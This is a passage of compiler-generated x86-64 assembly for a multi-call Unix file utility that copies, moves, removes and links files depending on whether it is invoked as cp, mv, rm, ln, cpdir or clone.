mov rax, QWORD PTR -1096[rbp]
mov rsi, rdx
mov rdi, rax
call symlink@PLT
test eax, eax
jns .L171
mov rax, QWORD PTR -1104[rbp]
mov rdi, rax
call report
jmp .L155
.L171:
mov eax, DWORD PTR vflag[rip]
test eax, eax
je .L195
mov rdx, QWORD PTR -1104[rbp]
mov rax, QWORD PTR -1096[rbp]
mov rsi, rax
lea rdi, .LC12[rip]
mov eax, 0
call printf@PLT
jmp .L195
.L170:
mov rax, QWORD PTR -1112[rbp]
mov eax, DWORD PTR 24[rax]
and eax, 61440
cmp eax, 40960
jne .L173
lea rcx, -1040[rbp]
mov rax, QWORD PTR -1096[rbp]
mov edx, 1024
mov rsi, rcx
mov rdi, rax
call readlink@PLT
mov DWORD PTR -1084[rbp], eax
cmp DWORD PTR -1084[rbp], 0
jns .L174
mov rax, QWORD PTR -1096[rbp]
mov rdi, rax
call report
jmp .L155
.L174:
mov eax, DWORD PTR -1084[rbp]
cdqe
mov BYTE PTR -1040[rbp+rax], 0
mov rdx, QWORD PTR -1104[rbp]
lea rax, -1040[rbp]
mov rsi, rdx
mov rdi, rax
call symlink@PLT
test eax, eax
jns .L176
mov rax, QWORD PTR -1104[rbp]
mov rdi, rax
call report
jmp .L155
.L176:
mov eax, DWORD PTR vflag[rip]
test eax, eax
je .L196
mov rdx, QWORD PTR -1104[rbp]
lea rax, -1040[rbp]
mov rsi, rax
lea rdi, .LC12[rip]
mov eax, 0
call printf@PLT
jmp .L196
.L173:
mov rax, QWORD PTR -1104[rbp]
movzx eax, BYTE PTR [rax]
cmp al, 47
jne .L178
mov rax, QWORD PTR -1096[rbp]
movzx eax, BYTE PTR [rax]
cmp al, 47
je .L178
mov rdx, QWORD PTR prog_name[rip]
mov rax, QWORD PTR stderr[rip]
mov rsi, QWORD PTR -1104[rbp]
mov rcx, QWORD PTR -1096[rbp]
mov r8, rsi
lea rsi, .LC20[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.L178:
lea rax, -1072[rbp]
mov rdi, rax
call path_init
mov rax, QWORD PTR -1096[rbp]
movzx eax, BYTE PTR [rax]
cmp al, 47
je .L179
mov rax, QWORD PTR -1104[rbp]
mov QWORD PTR -1080[rbp], rax
jmp .L180
.L183:
add QWORD PTR -1080[rbp], 1
.L181:
mov rax, QWORD PTR -1080[rbp]
movzx eax, BYTE PTR [rax]
test al, al
je .L184
mov rax, QWORD PTR -1080[rbp]
movzx eax, BYTE PTR [rax]
cmp al, 47
jne .L183
jmp .L184
.L185:
add QWORD PTR -1080[rbp], 1
.L184:
mov rax, QWORD PTR -1080[rbp]
movzx eax, BYTE PTR [rax]
cmp al, 47
je .L185
mov rax, QWORD PTR -1080[rbp]
movzx eax, BYTE PTR [rax]
test al, al
je .L197
lea rax, -1072[rbp]
lea rsi, .LC21[rip]
mov rdi, rax
call path_add
.L180:
mov rax, QWORD PTR -1080[rbp]
movzx eax, BYTE PTR [rax]
test al, al
jne .L181
jmp .L179
.L197:
nop
.L179:
mov rdx, QWORD PTR -1096[rbp]
lea rax, -1072[rbp]
mov rsi, rdx
mov rdi, rax
call path_add
mov rax, QWORD PTR -1072[rbp]
mov rdx, QWORD PTR -1104[rbp]
mov rsi, rdx
mov rdi, rax
call symlink@PLT
test eax, eax
jns .L188
mov rax, QWORD PTR -1104[rbp]
mov rdi, rax
call report
jmp .L189
.L188:
mov eax, DWORD PTR vflag[rip]
test eax, eax
je .L189
mov rax, QWORD PTR -1072[rbp]
mov rdx, QWORD PTR -1104[rbp]
mov rsi, rax
lea rdi, .LC12[rip]
mov eax, 0
call printf@PLT
.L189:
mov rax, QWORD PTR -1072[rbp]
mov rdi, rax
call deallocate
jmp .L155
.L192:
nop
jmp .L155
.L193:
nop
jmp .L155
.L194:
nop
jmp .L155
.L195:
nop
jmp .L155
.L196:
nop
.L155:
mov rax, QWORD PTR -8[rbp]
sub rax, QWORD PTR fs:40
je .L191
call __stack_chk_fail@PLT
.L191:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE21:
.size link1, .-link1
.section .rodata
.LC22:
.string "."
.text
.globl eat_dir
.type eat_dir, @function
eat_dir:
.LFB22:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 40
.cfi_offset 3, -24
mov QWORD PTR -40[rbp], rdi
mov QWORD PTR -48[rbp], rsi
mov rax, QWORD PTR -40[rbp]
mov rdi, rax
call opendir@PLT
mov QWORD PTR -32[rbp], rax
cmp QWORD PTR -32[rbp], 0
jne .L201
mov eax, 0
jmp .L200
.L204:
mov rax, QWORD PTR -24[rbp]
add rax, 19
lea rsi, .LC22[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L202
jmp .L201
.L202:
mov rax, QWORD PTR -24[rbp]
add rax, 19
lea rsi, .LC21[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L203
jmp .L201
.L203:
mov esi, 16
mov edi, 0
call allocate
mov rdx, QWORD PTR -48[rbp]
mov QWORD PTR [rdx], rax
mov rax, QWORD PTR -24[rbp]
add rax, 19
mov rdi, rax
call strlen@PLT
add rax, 1
mov rdx, QWORD PTR -48[rbp]
mov rbx, QWORD PTR [rdx]
mov rsi, rax
mov edi, 0
call allocate
mov QWORD PTR 8[rbx], rax
mov rax, QWORD PTR -24[rbp]
lea rdx, 19[rax]
mov rax, QWORD PTR -48[rbp]
mov rax, QWORD PTR [rax]
mov rax, QWORD PTR 8[rax]
mov rsi, rdx
mov rdi, rax
call strcpy@PLT
mov rax, QWORD PTR -48[rbp]
mov rax, QWORD PTR [rax]
mov QWORD PTR -48[rbp], rax
.L201:
mov rax, QWORD PTR -32[rbp]
mov rdi, rax
call readdir@PLT
mov QWORD PTR -24[rbp], rax
cmp QWORD PTR -24[rbp], 0
jne .L204
mov rax, QWORD PTR -32[rbp]
mov rdi, rax
call closedir@PLT
mov rax, QWORD PTR -48[rbp]
mov QWORD PTR [rax], 0
mov eax, 1
.L200:
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE22:
.size eat_dir, .-eat_dir
.globl chop_dlist
.type chop_dlist, @function
chop_dlist:
.LFB23:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR [rax]
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -24[rbp]
mov QWORD PTR [rax], rdx
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 8[rax]
mov rdi, rax
call deallocate
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call deallocate
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE23:
.size chop_dlist, .-chop_dlist
.globl drop_dlist
.type drop_dlist, @function
drop_dlist:
.LFB24:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
jmp .L207
.L208:
lea rax, -8[rbp]
mov rdi, rax
call chop_dlist
.L207:
mov rax, QWORD PTR -8[rbp]
test rax, rax
jne .L208
nop
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE24:
.size drop_dlist, .-drop_dlist
.section .rodata
.align 8
.LC23:
.string "%s: Can't move %s onto itself\n"
.LC24:
.string "Remove contents of %s? "
.LC25:
.string "Replace %s? "
.LC26:
.string "mkdir %s\n"
.LC27:
.string " -r"
.LC28:
.string ""
.align 8
.LC29:
.string "%s%s %s/ %s/: infinite recursion avoided\n"
.LC30:
.string "Remove directory %s? "
.LC31:
.string "rmdir %s\n"
.text
.globl do1
.type do1, @function
do1:
.LFB25:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 384
mov QWORD PTR -360[rbp], rdi
mov QWORD PTR -368[rbp], rsi
mov DWORD PTR -372[rbp], edx
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov QWORD PTR -296[rbp], 0
mov QWORD PTR -152[rbp], 0
mov eax, DWORD PTR action[rip]
cmp eax, 3
jne .L210
mov eax, DWORD PTR sflag[rip]
test eax, eax
je .L210
mov eax, DWORD PTR rflag[rip]
test eax, eax
je .L211
.L210:
mov eax, DWORD PTR expand[rip]
test eax, eax
je .L212
mov rax, QWORD PTR stat@GOTPCREL[rip]
mov rcx, rax
jmp .L213
.L212:
mov rax, QWORD PTR lstat@GOTPCREL[rip]
mov rcx, rax
.L213:
mov rax, QWORD PTR -360[rbp]
mov rax, QWORD PTR [rax]
lea rdx, -304[rbp]
mov rsi, rdx
mov rdi, rax
call rcx
test eax, eax
jns .L211
mov rax, QWORD PTR -360[rbp]
mov rax, QWORD PTR [rax]
mov rdi, rax
call report
jmp .L209
.L211:
cmp DWORD PTR -372[rbp], 0
jne .L215
mov DWORD PTR xdev[rip], 0
mov QWORD PTR topdst_ino.2[rip], 0
mov rax, QWORD PTR -304[rbp]
mov QWORD PTR topsrc_dev.1[rip], rax
.L215:
mov eax, DWORD PTR action[rip]
cmp eax, 2
je .L216
mov eax, DWORD PTR expand[rip]
test eax, eax
je .L217
mov rax, QWORD PTR stat@GOTPCREL[rip]
mov rcx, rax
jmp .L218
.L217:
mov rax, QWORD PTR lstat@GOTPCREL[rip]
mov rcx, rax
.L218:
mov rax, QWORD PTR -368[rbp]
mov rax, QWORD PTR [rax]
lea rdx, -160[rbp]
mov rsi, rdx
mov rdi, rax
call rcx
test eax, eax
jns .L216
call __errno_location@PLT
mov eax, DWORD PTR [rax]
cmp eax, 2
je .L216
mov rax, QWORD PTR -368[rbp]
mov rax, QWORD PTR [rax]
mov rdi, rax
call report
jmp .L209
.L216:
mov eax, DWORD PTR action[rip]
cmp eax, 1
jne .L219
mov eax, DWORD PTR xdev[rip]
test eax, eax
jne .L219
mov rax, QWORD PTR -152[rbp]
test rax, rax
je .L220
mov rdx, QWORD PTR -304[rbp]
mov rax, QWORD PTR -160[rbp]
cmp rdx, rax
je .L220
mov DWORD PTR xdev[rip], 1
jmp .L219
.L220:
mov eax, DWORD PTR mflag[rip]
test eax, eax
je .L221
mov rax, QWORD PTR -152[rbp]
test rax, rax
je .L221
mov eax, DWORD PTR -136[rbp]
and eax, 61440
cmp eax, 16384
je .L219
.L221:
mov rdx, QWORD PTR -296[rbp]
mov rax, QWORD PTR -152[rbp]
cmp rdx, rax
jne .L222
mov rax, QWORD PTR -360[rbp]
mov rcx, QWORD PTR [rax]
mov rdx, QWORD PTR prog_name[rip]
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC23[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov DWORD PTR ex_code[rip], 1
jmp .L209
.L222:
mov rax, QWORD PTR -152[rbp]
test rax, rax
je .L223
mov eax, DWORD PTR iflag[rip]
test eax, eax
jne .L224
mov eax, DWORD PTR fflag[rip]
test eax, eax
jne .L225
lea rax, -160[rbp]
mov rdi, rax
call writable
test eax, eax
jne .L225
.L224:
mov eax, DWORD PTR -136[rbp]
and eax, 4095
mov ecx, eax
mov rax, QWORD PTR -368[rbp]
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC11[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
call affirmative
test eax, eax
je .L273
.L225:
mov eax, DWORD PTR -136[rbp]
and eax, 61440
cmp eax, 16384
je .L223
mov rax, QWORD PTR -368[rbp]
mov rax, QWORD PTR [rax]
mov rdi, rax
call unlink@PLT
.L223:
mov rax, QWORD PTR -368[rbp]
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -360[rbp]
mov rax, QWORD PTR [rax]
mov rsi, rdx
mov rdi, rax
call rename@PLT
test eax, eax
jne .L226
mov eax, DWORD PTR vflag[rip]
test eax, eax
je .L274
mov rax, QWORD PTR -368[rbp]
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -360[rbp]
mov rax, QWORD PTR [rax]
mov rsi, rax
lea rdi, .LC9[rip]
mov eax, 0
call printf@PLT
jmp .L274
.L226:
call __errno_location@PLT
mov eax, DWORD PTR [rax]
cmp eax, 18
jne .L228
mov DWORD PTR xdev[rip], 1
jmp .L219
.L228:
mov rax, QWORD PTR -368[rbp]
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -360[rbp]
mov rax, QWORD PTR [rax]
mov rsi, rdx
mov rdi, rax
call report2
jmp .L209
.L219:
mov eax, DWORD PTR -280[rbp]
and eax, 61440
cmp eax, 16384
je .L229
mov eax, DWORD PTR action[rip]
cmp eax, 3
je .L230
cmp eax, 3
ja .L275
cmp eax, 1
jbe .L232
cmp eax, 2
je .L233
jmp .L275
.L232:
mov rax, QWORD PTR -368[rbp]
mov rsi, QWORD PTR [rax]
mov rax, QWORD PTR -360[rbp]
mov rax, QWORD PTR [rax]
lea rcx, -160[rbp]
lea rdx, -304[rbp]
mov rdi, rax
call copy1
jmp .L231
.L233:
mov rax, QWORD PTR -360[rbp]
mov rax, QWORD PTR [rax]
lea rdx, -304[rbp]
mov rsi, rdx
mov rdi, rax
call remove1
jmp .L231
.L230:
mov rax, QWORD PTR -368[rbp]
mov rsi, QWORD PTR [rax]
mov rax, QWORD PTR -360[rbp]
mov rax, QWORD PTR [rax]
lea rcx, -160[rbp]
lea rdx, -304[rbp]
mov rdi, rax
call link1
nop
.L231:
jmp .L275
.L229:
mov eax, DWORD PTR rflag[rip]
test eax, eax
jne .L234
call __errno_location@PLT
mov DWORD PTR [rax], 21
mov rax, QWORD PTR -360[rbp]
mov rax, QWORD PTR [rax]
mov rdi, rax
call report
jmp .L209
.L234:
mov eax, DWORD PTR action[rip]
cmp eax, 2
jne .L235
mov eax, DWORD PTR xflag[rip]
test eax, eax
je .L236
mov rdx, QWORD PTR -304[rbp]
mov rax, QWORD PTR topsrc_dev.1[rip]
cmp rdx, rax
jne .L276
.L236:
mov eax, DWORD PTR iflag[rip]
test eax, eax
je .L235
mov rax, QWORD PTR -360[rbp]
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC24[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
call affirmative
test eax, eax
je .L277
.L235:
mov rax, QWORD PTR -360[rbp]
mov rax, QWORD PTR [rax]
lea rdx, -344[rbp]
mov rsi, rdx
mov rdi, rax
call eat_dir
test eax, eax
jne .L237
mov rax, QWORD PTR -360[rbp]
mov rax, QWORD PTR [rax]
mov rdi, rax
call report
jmp .L209
.L237:
mov eax, DWORD PTR action[rip]
cmp eax, 2
je .L238
mov rax, QWORD PTR -152[rbp]
test rax, rax
je .L238
mov eax, DWORD PTR -136[rbp]
and eax, 61440
cmp eax, 16384
je .L238
mov eax, DWORD PTR action[rip]
cmp eax, 1
je .L239
mov eax, DWORD PTR fflag[rip]
test eax, eax
jne .L239
call __errno_location@PLT
mov DWORD PTR [rax], 20
mov rax, QWORD PTR -368[rbp]
mov rax, QWORD PTR [rax]
mov rdi, rax
call report
jmp .L209
.L239:
mov eax, DWORD PTR iflag[rip]
test eax, eax
je .L240
mov rax, QWORD PTR -368[rbp]
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC25[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
call affirmative
test eax, eax
jne .L240
mov rax, QWORD PTR -344[rbp]
mov rdi, rax
call drop_dlist
jmp .L209
.L240:
mov rax, QWORD PTR -368[rbp]
mov rax, QWORD PTR [rax]
mov rdi, rax
call unlink@PLT
test eax, eax
jns .L241
mov rax, QWORD PTR -368[rbp]
mov rax, QWORD PTR [rax]
mov rdi, rax
call report
mov rax, QWORD PTR -344[rbp]
mov rdi, rax
call drop_dlist
jmp .L209
.L241:
mov QWORD PTR -152[rbp], 0
.L238:
mov eax, DWORD PTR action[rip]
cmp eax, 2
je .L242
mov rax, QWORD PTR -152[rbp]
test rax, rax
jne .L243
mov eax, DWORD PTR pflag[rip]
test eax, eax
jne .L244
mov eax, DWORD PTR conforming[rip]
test eax, eax
je .L244
mov edx, DWORD PTR -280[rbp]
mov eax, DWORD PTR fc_mask[rip]
and eax, edx
mov DWORD PTR -280[rbp], eax
.L244:
mov eax, DWORD PTR -280[rbp]
or eax, 448
mov edx, eax
mov rax, QWORD PTR -368[rbp]
mov rax, QWORD PTR [rax]
mov esi, edx
mov rdi, rax
call mkdir@PLT
test eax, eax
js .L245
mov rax, QWORD PTR -368[rbp]
mov rax, QWORD PTR [rax]
lea rdx, -160[rbp]
mov rsi, rdx
mov rdi, rax
call stat@PLT
test eax, eax
jns .L246
.L245:
mov rax, QWORD PTR -368[rbp]
mov rax, QWORD PTR [rax]
mov rdi, rax
call report
mov rax, QWORD PTR -344[rbp]
mov rdi, rax
call drop_dlist
jmp .L209
.L246:
mov eax, DWORD PTR vflag[rip]
test eax, eax
je .L247
mov rax, QWORD PTR -368[rbp]
mov rax, QWORD PTR [rax]
mov rsi, rax
lea rdi, .LC26[rip]
mov eax, 0
call printf@PLT
jmp .L247
.L243:
mov eax, DWORD PTR action[rip]
cmp eax, 1
jne .L248
mov eax, DWORD PTR mflag[rip]
test eax, eax
jne .L248
call __errno_location@PLT
mov DWORD PTR [rax], 17
mov rax, QWORD PTR -368[rbp]
mov rax, QWORD PTR [rax]
mov rdi, rax
call report
mov rax, QWORD PTR -344[rbp]
mov rdi, rax
call drop_dlist
jmp .L209
.L248:
mov eax, DWORD PTR pflag[rip]
test eax, eax
jne .L247
mov eax, DWORD PTR -136[rbp]
mov DWORD PTR -280[rbp], eax
mov eax, DWORD PTR -132[rbp]
mov DWORD PTR -276[rbp], eax
mov eax, DWORD PTR -128[rbp]
mov DWORD PTR -272[rbp], eax
mov rax, QWORD PTR -72[rbp]
mov QWORD PTR -216[rbp], rax
.L247:
mov rax, QWORD PTR topdst_ino.2[rip]
test rax, rax
jne .L249
mov rax, QWORD PTR -160[rbp]
mov QWORD PTR topdst_dev.0[rip], rax
mov rax, QWORD PTR -152[rbp]
mov QWORD PTR topdst_ino.2[rip], rax
.L249:
mov rdx, QWORD PTR -296[rbp]
mov rax, QWORD PTR topdst_ino.2[rip]
cmp rdx, rax
jne .L250
mov rdx, QWORD PTR -304[rbp]
mov rax, QWORD PTR topdst_dev.0[rip]
cmp rdx, rax
jne .L250
mov rax, QWORD PTR -368[rbp]
mov rsi, QWORD PTR [rax]
mov rax, QWORD PTR -360[rbp]
mov rcx, QWORD PTR [rax]
mov eax, DWORD PTR action[rip]
cmp eax, 1
je .L251
lea rax, .LC27[rip]
jmp .L252
.L251:
lea rax, .LC28[rip]
.L252:
mov rdx, QWORD PTR prog_name[rip]
mov rdi, QWORD PTR stderr[rip]
mov r9, rsi
mov r8, rcx
mov rcx, rax
lea rsi, .LC29[rip]
mov eax, 0
call fprintf@PLT
mov rax, QWORD PTR -344[rbp]
mov rdi, rax
call drop_dlist
jmp .L209
.L250:
mov eax, DWORD PTR xflag[rip]
test eax, eax
je .L242
mov rdx, QWORD PTR -304[rbp]
mov rax, QWORD PTR topsrc_dev.1[rip]
cmp rdx, rax
je .L242
mov rax, QWORD PTR -344[rbp]
mov rdi, rax
call drop_dlist
jmp .L209
.L242:
mov rax, QWORD PTR -360[rbp]
mov rax, QWORD PTR 8[rax]
mov QWORD PTR -336[rbp], rax
mov rax, QWORD PTR -368[rbp]
mov rax, QWORD PTR 8[rax]
mov QWORD PTR -328[rbp], rax
jmp .L253
.L255:
mov rax, QWORD PTR -344[rbp]
mov rdx, QWORD PTR 8[rax]
mov rax, QWORD PTR -360[rbp]
mov rsi, rdx
mov rdi, rax
call path_add
mov eax, DWORD PTR action[rip]
cmp eax, 2
je .L254
mov rax, QWORD PTR -344[rbp]
mov rdx, QWORD PTR 8[rax]
mov rax, QWORD PTR -368[rbp]
mov rsi, rdx
mov rdi, rax
call path_add
.L254:
mov eax, DWORD PTR -372[rbp]
lea edx, 1[rax]
mov rcx, QWORD PTR -368[rbp]
mov rax, QWORD PTR -360[rbp]
mov rsi, rcx
mov rdi, rax
call do1
mov rdx, QWORD PTR -336[rbp]
mov rax, QWORD PTR -360[rbp]
mov rsi, rdx
mov rdi, rax
call path_trunc
mov rdx, QWORD PTR -328[rbp]
mov rax, QWORD PTR -368[rbp]
mov rsi, rdx
mov rdi, rax
call path_trunc
lea rax, -344[rbp]
mov rdi, rax
call chop_dlist
.L253:
mov rax, QWORD PTR -344[rbp]
test rax, rax
jne .L255
mov eax, DWORD PTR action[rip]
cmp eax, 1
je .L256
mov eax, DWORD PTR action[rip]
cmp eax, 2
jne .L257
.L256:
mov eax, DWORD PTR action[rip]
cmp eax, 2
jne .L258
mov eax, DWORD PTR iflag[rip]
test eax, eax
je .L258
mov rax, QWORD PTR -360[rbp]
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC30[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
call affirmative
test eax, eax
je .L278
.L258:
mov rax, QWORD PTR -360[rbp]
mov rax, QWORD PTR [rax]
mov rdi, rax
call rmdir@PLT
test eax, eax
jns .L259
call __errno_location@PLT
mov eax, DWORD PTR [rax]
cmp eax, 39
je .L279
mov rax, QWORD PTR -360[rbp]
mov rax, QWORD PTR [rax]
mov rdi, rax
call report
jmp .L279
.L259:
mov eax, DWORD PTR vflag[rip]
test eax, eax
je .L257
mov rax, QWORD PTR -360[rbp]
mov rax, QWORD PTR [rax]
mov rsi, rax
lea rdi, .LC31[rip]
mov eax, 0
call printf@PLT
.L257:
mov eax, DWORD PTR action[rip]
cmp eax, 2
je .L209
mov eax, DWORD PTR pflag[rip]
test eax, eax
jne .L262
mov eax, DWORD PTR conforming[rip]
test eax, eax
jne .L263
.L262:
mov edx, DWORD PTR -132[rbp]
mov eax, DWORD PTR -276[rbp]
cmp edx, eax
jne .L264
mov edx, DWORD PTR -128[rbp]
mov eax, DWORD PTR -272[rbp]
cmp edx, eax
je .L263
.L264:
mov edx, DWORD PTR -272[rbp]
mov ecx, DWORD PTR -276[rbp]
mov rax, QWORD PTR -368[rbp]
mov rax, QWORD PTR [rax]
mov esi, ecx
mov rdi, rax
call chown@PLT
test eax, eax
jns .L263
call __errno_location@PLT
mov eax, DWORD PTR [rax]
cmp eax, 1
je .L263
mov rax, QWORD PTR -368[rbp]
mov rax, QWORD PTR [rax]
mov rdi, rax
call report
jmp .L209
.L263:
mov edx, DWORD PTR -136[rbp]
mov eax, DWORD PTR -280[rbp]
cmp edx, eax
je .L266
mov edx, DWORD PTR -280[rbp]
mov rax, QWORD PTR -368[rbp]
mov rax, QWORD PTR [rax]
mov esi, edx
mov rdi, rax
call chmod@PLT
test eax, eax
jns .L266
mov rax, QWORD PTR -368[rbp]
mov rax, QWORD PTR [rax]
mov rdi, rax
call report
jmp .L209
.L266:
mov rdx, QWORD PTR -72[rbp]
mov rax, QWORD PTR -216[rbp]
cmp rdx, rax
je .L209
mov eax, DWORD PTR action[rip]
cmp eax, 1
jne .L268
mov rax, QWORD PTR -232[rbp]
jmp .L269
.L268:
mov edi, 0
call time@PLT
.L269:
mov QWORD PTR -320[rbp], rax
mov rax, QWORD PTR -216[rbp]
mov QWORD PTR -312[rbp], rax
mov rax, QWORD PTR -368[rbp]
mov rax, QWORD PTR [rax]
lea rdx, -320[rbp]
mov rsi, rdx
mov rdi, rax
call utime@PLT
test eax, eax
jns .L209
call __errno_location@PLT
mov eax, DWORD PTR [rax]
cmp eax, 1
je .L270
mov rax, QWORD PTR -368[rbp]
mov rax, QWORD PTR [rax]
mov rdi, rax
call report
jmp .L209
.L270:
mov rax, QWORD PTR -368[rbp]
mov rcx, QWORD PTR [rax]
mov rdx, QWORD PTR prog_name[rip]
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC7[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
jmp .L209
.L273:
nop
jmp .L209
.L274:
nop
jmp .L209
.L275:
nop
jmp .L209
.L276:
nop
jmp .L209
.L277:
nop
jmp .L209
.L278:
nop
jmp .L209
.L279:
nop
.L209:
mov rax, QWORD PTR -8[rbp]
sub rax, QWORD PTR fs:40
je .L272
call __stack_chk_fail@PLT
.L272:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE25:
.size do1, .-do1
.section .rodata
.LC32:
.string "pifsmrRvx"
.LC33:
.string "pifsrRvx"
.LC34:
.string "ifsmvx"
.LC35:
.string "ifsvx"
.LC36:
.string "Usage: rm [-ifrRvx] file ...\n"
.LC37:
.string "ifsSmrRvx"
.LC38:
.string "ifsSrRvx"
.LC39:
.string "ifvx"
.LC40:
.string "ifsSvx"
.LC41:
.string "Usage: %s [-%s] file1 file2\n"
.LC42:
.string " %s [-%s] file ... dir\n"
.text
.globl usage
.type usage, @function
usage:
.LFB26:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov eax, DWORD PTR identity[rip]
cmp eax, 5
ja .L281
mov eax, eax
lea rdx, 0[0+rax*4]
lea rax, .L283[rip]
mov eax, DWORD PTR [rdx+rax]
cdqe
lea rdx, .L283[rip]
add rax, rdx
notrack jmp rax
.section .rodata
.align 4
.align 4
.L283:
.long .L288-.L283
.long .L287-.L283
.long .L286-.L283
.long .L285-.L283
.long .L284-.L283
.long .L282-.L283
.text
.L288:
lea rax, .LC32[rip]
mov QWORD PTR -16[rbp], rax
lea rax, .LC33[rip]
mov QWORD PTR -8[rbp], rax
jmp .L281
.L287:
lea rax, .LC34[rip]
mov QWORD PTR -16[rbp], rax
lea rax, .LC35[rip]
mov QWORD PTR -8[rbp], rax
jmp .L281
.L286:
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 29
mov esi, 1
lea rdi, .LC36[rip]
call fwrite@PLT
mov edi, 1
call exit@PLT
.L285:
lea rax, .LC37[rip]
mov QWORD PTR -16[rbp], rax
lea rax, .LC38[rip]
mov QWORD PTR -8[rbp], rax
jmp .L281
.L284:
lea rax, .LC39[rip]
mov QWORD PTR -16[rbp], rax
mov QWORD PTR -8[rbp], 0
jmp .L281
.L282:
lea rax, .LC40[rip]
mov QWORD PTR -16[rbp], rax
mov QWORD PTR -8[rbp], 0
nop
.L281:
mov rdx, QWORD PTR prog_name[rip]
mov rax, QWORD PTR stderr[rip]
mov rcx, QWORD PTR -16[rbp]
lea rsi, .LC41[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
cmp QWORD PTR -8[rbp], 0
je .L289
mov rdx, QWORD PTR prog_name[rip]
mov rax, QWORD PTR stderr[rip]
mov rcx, QWORD PTR -8[rbp]
lea rsi, .LC42[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
.L289:
mov edi, 1
call exit@PLT
.cfi_endproc
.LFE26:
.size usage, .-usage
.section .rodata
.LC43:
.string "cp"
.LC44:
.string "mv"
.LC45:
.string "rm"
.LC46:
.string "ifrRvx"
.LC47:
.string "ln"
.LC48:
.string "cpdir"
.LC49:
.string "clone"
.align 8
.LC50:
.string "%s: Identity crisis, not called cp, mv, rm, ln, cpdir, or clone\n"
.text
.globl main
.type main, @function
main:
.LFB27:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 272
mov DWORD PTR -260[rbp], edi
mov QWORD PTR -272[rbp], rsi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov rax, QWORD PTR -272[rbp]
mov rax, QWORD PTR [rax]
mov rdi, rax
call basename
mov QWORD PTR prog_name[rip], rax
mov rax, QWORD PTR prog_name[rip]
lea rsi, .LC43[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L291
mov DWORD PTR identity[rip], 0
mov DWORD PTR action[rip], 0
lea rax, .LC32[rip]
mov QWORD PTR -248[rbp], rax
mov DWORD PTR expand[rip], 1
jmp .L292
.L291:
mov rax, QWORD PTR prog_name[rip]
lea rsi, .LC44[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L293
mov DWORD PTR identity[rip], 1
mov DWORD PTR action[rip], 1
lea rax, .LC34[rip]
mov QWORD PTR -248[rbp], rax
mov DWORD PTR pflag[rip], 1
mov eax, DWORD PTR pflag[rip]
mov DWORD PTR rflag[rip], eax
jmp .L292
.L293:
mov rax, QWORD PTR prog_name[rip]
lea rsi, .LC45[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L294
mov DWORD PTR identity[rip], 2
mov DWORD PTR action[rip], 2
lea rax, .LC46[rip]
mov QWORD PTR -248[rbp], rax
jmp .L292
.L294:
mov rax, QWORD PTR prog_name[rip]
lea rsi, .LC47[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L295
mov DWORD PTR identity[rip], 3
mov DWORD PTR action[rip], 3
lea rax, .LC37[rip]
mov QWORD PTR -248[rbp], rax
jmp .L292
.L295:
mov rax, QWORD PTR prog_name[rip]
lea rsi, .LC48[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L296
mov DWORD PTR identity[rip], 4
mov DWORD PTR action[rip], 0
lea rax, .LC32[rip]
mov QWORD PTR -248[rbp], rax
